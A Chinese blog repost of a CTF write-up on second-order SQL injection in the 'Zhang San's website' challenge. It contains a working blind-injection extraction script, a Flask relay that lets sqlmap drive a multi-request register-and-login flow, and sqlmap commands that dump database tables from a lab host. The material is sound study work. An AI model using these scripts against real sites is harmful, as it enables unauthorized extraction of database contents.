热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

flaskmysqlsql注入_SQL注入进阶Flask中转SQLMAP案例

前言在渗透工作中我们经常能碰到一些逻辑复杂的SQL注入漏洞,并不能直接通过sqlmap工具注入拿到结果。今年网鼎杯的一道SQL注入题“张三的网站”让我久久不能忘怀&#

前言

在渗透工作中我们经常能碰到一些逻辑复杂的SQL注入漏洞,并不能直接通过sqlmap工具注入拿到结果。今年网鼎杯的一道SQL注入题“张三的网站”让我久久不能忘怀,我不断思考遇到这类型的SQL注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?

一道CTF题的思考

先来说说“张三的网站”这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写php,代码很烂),相关代码已经上传到GitHub,见文章底部。

该题目主要涉及3个页面:

登陆页面

216b39b1c53b2cfc8eb812986ce3fc9d.png

注册页面

8c6614e25d6d078aa56a538f06aaa917.png

登陆后的主页

9c82f5ae75b3ee270aadd0117e5019d9.png

题目中的登陆页面、注册页面均无SQL注入漏洞,但是登陆后的主页在用户名处存在SQL注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发SQL注入漏洞。

注册名为“123”的用户:

63d677d4beea2086ef7f4d7e9027b63f.png

6bc115c2a670a6e615fec8b2577db436.png

ffeffdda5fd0704480ddce559ba651ee.png

注册名为“123'”的用户:

76632ca3cb405a494256d91132604129.png

0213d3734ff13a20b9ee643d1f8602a5.png

以下是一个Python脚本手工注入的解法:

import requests

import random

import re

import string

proxy = {'http': '127.0.0.1:8080'}

session = requests.session()

def register(username, email, password='123'):

burp0_url = "http://192.168.154.130:80/web/register.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}

r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

def login(email, password='123'):

burp0_url = "http://192.168.154.130:80/web/login.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"email": email, "pw": password, "submit": ''}

r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

# 跳转首页

burp0_url = "http://192.168.154.130/web/index.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy)

if r2.status_code == 302:

print('username payload no work')

elif r2.status_code == 200:

pattern = '''(.+?)'''

try:

userr = re.findall(pattern, r2.text, re.DOTALL)[0]

if userr:

return True

else:

return False

except:

return False

def main():

key = string.ascii_lowercase + string.digits + '{}_-'

flag = ''

for keynum in range(1, 43):

for s in key:

username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s)

email = '{}@qq.com'.format(int(random.random() * 10000000))

register(username, email)

if login(email):

flag += s

print('key: ' + flag)

break

if __name__ == "__main__":

main()

如果对ctf不熟悉的朋友应该会很懵,因为语句中直接查询获取了flag表中的内容,而正常情况下,我们是不知道真正的flag在上面表,这样的解法我个人觉得不具备通用性,当然了在ctf比赛中是很高效的。

那么,有没有可能通过sqlmap来进行注入呢?显然,直接使用sqlmap不进行二次开发是无法检测出注入点的,因为sqlmap的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到sqlmap的注入检测payload,然后我们通过Python编写相应的请求逻辑,再把响应结果返回到sqlmap呢?答案是可行的!

Flask中转sqlmap注入

代码实现的结构如下,首先创建一个flask服务,接收payload参数的值,然后传入函数custom_fun中,custom_fun函数由自己编写请求逻辑,把payload参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果return就行。最后通过sqlmap检测URL:http://127.0.0.1:5000/?payload=1即可,可以适当调整sqlmap的注入参数,比如--level、--risk、--technique等。

from flask import Flask

from flask import request

import requests

import random

def custom_fun(payload):

return ''

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])

def index():

if request.method == 'GET':

payload = request.args.get('payload')

elif request.method == 'POST':

payload = request.form.get('payload')

return custom_fun(payload)

def main():

app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__":

main()

流程示意图如下:

94dfd30a59adfccbca4c69ac19f75418.png

完整注入过程

先来看看本例的实现代码:

from flask import Flask

from flask import request

import requests

import random

def custom_fun(payload):

email = '{}@qq.com'.format(int(random.random() * 10000000))

username = payload

password = '123'

proxy = {'http': '127.0.0.1:8080'}

session = requests.session()

# 注册

burp0_url = "http://192.168.154.130:80/web/register.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}

resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

# 登陆

burp0_url = "http://192.168.154.130:80/web/login.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"email": email, "pw": password, "submit": ''}

r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

# 登陆后跳转到首页

burp0_url = "http://192.168.154.130/web/index.php"

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)

resp.encoding = resp.apparent_encoding

return resp.text

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])

def index():

if request.method == 'GET':

payload = request.args.get('payload')

elif request.method == 'POST':

payload = request.form.get('payload')

return custom_fun(payload)

def main():

app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__":

main()

从代码上可以看到,只需要把请求逻辑写到custom_fun函数中,把最终结果的响应包return给flask,剩下的就可以交给sqlmap了,优雅!

这里说一个小技巧,可以使用Burp的拓展Copy As Python-Requests来一键把burp的请求复制为Python requests请求:

1139a2000e13c8023d11f2423a9bc6a3.png

8531a833a172e971e4422c78b6487526.png

然后使用sqlmap测试一下,因为是通过本地flask中转,我们的sqlmap的target应该是本地的flask服务端口,命令如下:

sqlmap -u http://127.0.0.1:5000/?payload=1

检测时flask服务的输出:

10b6f9d87242efccaa6c0739cb7313fc.png

成功检测到注入点:

a86acf95556e9f8336397b54da03c950.png当前数据库:

sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db

14a8c981302806d7588b763f1569d278.png跑表名:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables

261c8e0662f56c2ee21e268887f1a601.png跑flag表数据:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump

00da6fc5e28f4c6817653c793bfb52ee.png

小结

Flask中转sqlmap注入并非本人原创,互联网上已有前辈发表过相关的案例,这里以一个ctf题目作为案例,来更加优雅地进行SQL注入。挖洞是不可能挖洞的,这辈子都不可能挖洞的,手工注入又不会,只能靠sqlmap,才能维持得了生活这样子...



推荐阅读
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了在go语言中利用(*interface{})(nil)传递参数类型的原理及应用。通过分析Martini框架中的injector类型的声明,解释了values映射表的作用以及parent Injector的含义。同时,讨论了该技术在实际开发中的应用场景。 ... [详细]
  • 从壹开始前后端分离【 .NET Core2.0 +Vue2.0 】框架之六 || API项目整体搭建 6.1 仓储模式
    代码已上传Github+Gitee,文末有地址  书接上文:前几回文章中,我们花了三天的时间简单了解了下接口文档Swagger框架,已经完全解放了我们的以前的Word说明文档,并且可以在线进行调 ... [详细]
  • 很多时候在注册一些比较重要的帐号,或者使用一些比较重要的接口的时候,需要使用到随机字符串,为了方便,我们设计这个脚本需要注意 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文详细介绍了Mybatis中#与$的区别及其作用。#{}可以防止sql注入,拼装sql时会自动添加单引号,适用于单个简单类型的形参。${}则将拿到的值直接拼装进sql,可能会产生sql注入问题,需要手动添加单引号,适用于动态传入表名或字段名。#{}可以实现preparedStatement向占位符中设置值,自动进行类型转换,有效防止sql注入,提高系统安全性。 ... [详细]
  • Python教学练习二Python1-12练习二一、判断季节用户输入月份,判断这个月是哪个季节?3,4,5月----春 ... [详细]
  • gitlab重置password
    ruby没怎么学,自己搭建的gitlab的rootpassword又忘了。幸好看见此帖子,试验okhttp:roland.kierkels.netgitreset-your-git ... [详细]
  • 1.ArrayList是实现了基于动态数组的数据结构,LinkedList基于链表的数据结构。 2.对于随机访问get和set,ArrayList优于LinkedList,因为Ar ... [详细]
author-avatar
lajallan608
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有